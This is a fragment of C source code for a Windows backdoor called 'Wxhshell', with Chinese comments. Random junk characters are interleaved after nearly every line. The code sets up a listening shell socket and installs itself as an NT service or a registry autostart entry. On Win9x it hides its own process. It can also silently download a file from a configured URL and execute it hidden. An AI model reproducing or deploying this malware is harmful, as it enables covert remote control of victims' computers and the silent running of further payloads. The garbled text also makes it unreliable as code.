CloseHandle(hProcess); |lH;Fq{\ j'i0*"x if(strstr(procName,"services")) return 1; // 以服务启动 ZtVAEIZ) y$hp@m'@C return 0; // 注册表启动 :ug4g6;#H0 } fx8EB8A7K7 QCPID: // 主模块 >s3gqSDR int StartWxhshell(LPSTR lpCmdLine) ENh!N4vbO { @xsCXCRWVV SOCKET wsl; Z['\61 BOOL val=TRUE; M\b")Tu{0 int port=0; UueD(T;p struct sockaddr_in door; z=&z_}M8 \RQ='/H* if(wscfg.ws_autoins) Install(); }Vu\(~ (SVWdgb port=atoi(lpCmdLine); -oz`"&% ^BZkHAp if(port<=0) port=wscfg.ws_port; 9]$8MY ,D6v4<jh WSADATA data; m\/(w_/? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R6 XuA(5 =rPrPb if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Kt>X[o3m, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~#\i!I;RY} door.sin_family = AF_INET; 6pE :A@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0W(hA door.sin_port = htons(port); 52zGJ I*
&p<(_|Af if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BcA31% closesocket(wsl); +5v}q.:+ return 1; #$vRJ#S}U } &@"]+33 hM@\RPsY if(listen(wsl,2) == INVALID_SOCKET) { G)>W'yxQ closesocket(wsl); }2)DPP:ic return 1; 5sde } KRsAv^'] Wxhshell(wsl); iNCX:Y WSACleanup(); *0Gz)' 0h$GI"dR return 0; i54md$Q^ ^C&+
~+ } z41_oG7 4"\yf // 以NT服务方式启动 VVWM9x VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q&'Lbxc>c { lhC6S'vq DWORD status = 0; .DJDpP)M DWORD specificError = 0xfffffff; f<y&\'3 'UM!*fk7C serviceStatus.dwServiceType = SERVICE_WIN32; SN+S6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; Jeqxspn
T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @E`?<|B} serviceStatus.dwWin32ExitCode = 0; -jg (G GJ serviceStatus.dwServiceSpecificExitCode = 0; /7$mxtB5%L serviceStatus.dwCheckPoint = 0; 47 u@4"M serviceStatus.dwWaitHint = 0; E(<LvMiCa +V v+K(lh$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZeasYSo4P if (hServiceStatusHandle==0) return; $7I]`Jt _8K%`6!"Z status = GetLastError(); 9Z\z96O- if (status!=NO_ERROR) V'Y{v { *.y' (tj[ serviceStatus.dwCurrentState = SERVICE_STOPPED; aI#4H+/ serviceStatus.dwCheckPoint = 0; #`tD1T{; serviceStatus.dwWaitHint = 0;
yeD_j/ serviceStatus.dwWin32ExitCode = status; U6 82Th serviceStatus.dwServiceSpecificExitCode = specificError; ?SY<~i<K- SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71B3a return; YTY%#"
} 4YbC(f e/e0d<(1 serviceStatus.dwCurrentState = SERVICE_RUNNING; dhRJg"vrQ serviceStatus.dwCheckPoint = 0; `0BdMKjA serviceStatus.dwWaitHint = 0; a
ib}`l if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^[h2% c$ } 2xmk,&s (0*v*kYdL+ // 处理NT服务事件,比如:启动、停止 nYv#4* VOID WINAPI NTServiceHandler(DWORD fdwControl) ^6 /j_G { "2n;3ByR switch(fdwControl) i8V0Ty4~N { ]S8LY.Az5 case SERVICE_CONTROL_STOP: n~z\?Y=* serviceStatus.dwWin32ExitCode = 0; G=M] 8+h serviceStatus.dwCurrentState = SERVICE_STOPPED; 4 9w=kzo serviceStatus.dwCheckPoint = 0; YaFcz$GE_ serviceStatus.dwWaitHint = 0; -oBI+v& { % mn /> SetServiceStatus(hServiceStatusHandle, &serviceStatus); rb_Z5T } 3_qdJ<, return; 9n}A ^ case SERVICE_CONTROL_PAUSE: }(i(Ar- serviceStatus.dwCurrentState = SERVICE_PAUSED; Mps
*}9 break; H$!-f>Rxa case SERVICE_CONTROL_CONTINUE: 'ND36jHcRD serviceStatus.dwCurrentState = SERVICE_RUNNING; FuP}Kec break; m% bE-# case SERVICE_CONTROL_INTERROGATE: #0MK(Ut/ break; `6 Y33bQ }; xcSR{IZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); >7-y#SkXdo } ./maY1>T 9EgP9up{6! // 标准应用程序主函数 {Qtq7q. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :k!j"@r { +BB0wY eYP=T+ // 获取操作系统版本 ]UUI~sFE OsIsNt=GetOsVer(); dt-K GetModuleFileName(NULL,ExeFile,MAX_PATH); QJ<[Zx n! .2aq // 从命令行安装 t!l%/$- if(strpbrk(lpCmdLine,"iI")) Install(); :4;S"p u7k|7e=xk
// 下载执行文件 Jirct,k if(wscfg.ws_downexe) { 4]6 Qr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &G{2s J5{ WinExec(wscfg.ws_filenam,SW_HIDE); HCc` } ^tE_LL+ji| Z H-5Qy_ if(!OsIsNt) { *caLN,G // 如果时win9x,隐藏进程并且设置为注册表启动 M'u=H HideProc(); ,RK3eQ StartWxhshell(lpCmdLine); g3rRhS } ltEF:{mLe# else {'IFWD. 5 if(StartFromService()) Yn1?#%% // 以服务方式启动 VN|G5* StartServiceCtrlDispatcher(DispatchTable); Pf8u/?/ else }'`xu9< // 普通方式启动 :HZ;Po StartWxhshell(lpCmdLine); _'c+fG
\ %8Yyj{^!( return 0; _W9&J&l0so }
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